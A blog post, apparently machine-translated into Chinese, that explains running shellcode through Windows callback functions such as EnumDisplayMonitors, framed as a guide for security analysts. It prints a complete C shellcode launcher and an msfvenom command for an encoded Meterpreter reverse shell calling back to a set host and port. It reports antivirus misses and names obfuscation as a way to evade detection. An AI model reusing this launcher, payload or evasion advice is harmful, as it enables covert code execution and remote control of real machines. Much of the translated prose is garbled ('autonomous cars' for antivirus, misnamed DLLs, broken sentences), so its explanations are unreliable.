介绍
当我第一次看到通过 Microsoft Windows 回调执行 Shellcode 背后的技术时,我认为这简直就是魔法。但是后来,稍微挖掘了一下,我发现它真是太棒了!如今,这种技术在地下社区中被广泛用于注入shellcode
正在运行的进程中,因此我决定写一篇博客文章,向网络安全分析师说明如何处理它。当天的要点是:不要再相信你的回调函数了!
什么是and的回调函数?
根据微软的说法:“回调函数是托管应用程序中的代码,可帮助非托管 DLL 函数完成任务。对回调函数的调用间接地从托管应用程序通过 DLL 函数传递回托管实现。”
例如,如果我们对 EnumDisplayMonitors
from进行更接近的战利品,user32.dll
我们有以下界面:
1 2 3 4 5 6 |
BOOL EnumDisplayMonitors( [in] HDC hdc, [in] LPCRECT lprcClip, [in] MONITORENUMPROC lpfnEnum, [in] LPARAM dwData ); |
根据MSDN:
[in] hdc
定义可见感兴趣区域的显示设备上下文的句柄。如果此参数为 NULL,则 传递给回调函数 的hdcMonitor参数将为NULL,并且感兴趣的可见区域是包含桌面上所有显示器的虚拟屏幕。
[in] lprcClip
指向 指定剪切矩形的RECT结构的指针。感兴趣区域是剪切矩形与 hdc指定的可见区域的交点。如果 hdc 不为NULL,则剪切矩形的坐标相对于 hdc的原点。如果 hdc 为 NULL,则坐标是虚拟屏幕坐标。 如果您不想裁剪 hdc指定的区域,则此参数可以为 NULL。
[in] lpfnEnum
指向 MonitorEnumProc 应用程序定义的回调函数的指针。
[in] dwData
EnumDisplayMonitors 直接传递给 MonitorEnumProc 函数的应用程序定义的数据 。
什么是黑客!?
现在,让我们尝试想象如果我们将运行的 Shellcode 作为 CallBack 函数会发生什么。在这种情况下,系统将尝试执行认为运行MonitorEnumProc实现的 Shellcode 。一旦运行刚刚发生(即系统运行了注入的 Shellcode),IP
(指令指针)将获得一个超出界限的值,最终将导致异常。但是在异常上升之前,Shellcode 已经被执行了。在低级语言中,比如 C 甚至 C++ 中,当你想创建回调时,你需要向父函数提供一个指向所需内存空间的指针,回调函数所在的位置,所以我们需要准备这样的执行前的内存空间。首先让我们从下面的启动器开始,让我们检查主要的执行步骤(来自aahmad097 repo)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
#include <windows.h> #include <stdio.h> int err(const char* errmsg) { printf("Error: %s (%u)\n", errmsg, ::GetLastError()); return 1; } // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" "\x63\x2e\x65\x78\x65\x00"; int main() { LPVOID addr = ::VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE); ::RtlMoveMemory(addr, op, sizeof(op)); ::EnumDisplayMonitors(NULL, NULL, (MONITORENUMPROC)addr, NULL); } |
像往常一样,第一步是准备内存:为 Shellcode 创建正确的空间并将其复制到准备好的内存中。在那之后,我们调用EnumDisplayMonitors
,我们给出一个 doubleNull
作为前两个参数(如文档所述)和指向先前分配的内存的指针:它应该是MONITORENUMPROC
实现函数(但不是)。系统通过其调用的调度程序来处理回调ntdll_KiUserCallbackDispatcher
,如下图所示。
一旦流 ( instruction pointer
) 到达调度程序函数,库 ( ntt.dll
) 就会调用给定的指针(在下图中命名为:)unk_7FFB798435C0
。魔术在这里发生了!期望它自己的ntdll_KiUserCallbackDispatcher
糖果(接口中描述的正确返回值MONITORENUMPROC
)并通过函数将整个对象返回ntdll_NtCallbackReturn
给父函数,在这种特定情况下,由于实现的回调函数不尊重MONITORENUMPROC
接口(它是一个 WinExec 到 Calc.exe) 。在此类异常之前,Shellcode 通过运行 shell WinExecute 函数开始其路径。下图显示了我的意思。
finaljmp rax
跳转到kernel32_WinExec
最终运行的(进入 shellcode)calc.exe
。我们刚刚证明了一种非常有趣的方式,通过使用合法函数利用作为在多个 Microsoft 库中使用的结果编译技术
将 Shellcode 注入进程。jmp to rax
换句话说,我们刚刚利用了库实现回调函数的方式。
AV 覆盖:快速笔记
现在的问题可能是:自动驾驶汽车能识别这种注入技术吗?如果是这样,他们的行为如何?
为了回答这样的问题,我从aahmad097示例中更改了 Shellcode,插入了一个经典且众所周知且公认的 Meterpreter。下图显示了一个简单的运行meterpreter
。生成的shell代码很msfvenom
简单,如下:
1 |
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.38 LPORT=8888 -i 5 -e cmd/powershell_base64 -f c |
处理程序作为简单metasploit
multi/handler
运行进行管理。在图像的顶部,带有远程会话的处理程序运行meterpreter,在底部,shellcode
在受害主机上运行。该代码已通过 Visual Studio 2022 编译并命名EnumDisplayMonitrs.exe
,恰好是用于注入 Meterpreter shellcode 的函数名称。
我所做的测试很简单,意义不大,也许只是指示性的。我实际上不想判断任何选定的 AV,AV 是从在线可用的主要 AV 中随机选择的,我一直在使用相关 AV 的免费和评估版本,并且测试是使用默认安装参数执行的,没有任何调整。目标是主要了解攻击者通过使用和改进该技术可以执行的操作。
第一个经过测试的 AV 根本没有识别出威胁。我要求扫描特定的编译文件(EnumDisplayMonitrs.exe
),但一切都很好:没有发现威胁。我还运行有效负载以查看是否会触发内存,但也没有检测到任何东西。
第二个 AV 作为第一个执行。如下图所示,在静态分析和运行时执行期间均未检测到。
第三个测试的 AV 通过静态分析检测到威胁(这意味着很容易逃避有动机的攻击者),但不是在执行期间(动态检测)。对静态文件的检测可能是一些上升签名的基础。使用混淆和加密等技术的积极攻击者可以通过更改启动器代码或通过 API 污染或引入混淆器或加密器来轻松逃避这种检测技术。
结论
今天,我们看到了一种通过 Microsoft Windows 回调函数执行 Shellcode 的有趣方式,并且我们提供了快速且不完整的 AV 覆盖。如果您想知道有多少 Microsoft 函数对这种技术“脆弱”,请查看此处的 aahmad097 存储库,您会惊讶于攻击者可以使用多少入口点在您的 Windows 机器上执行任意代码。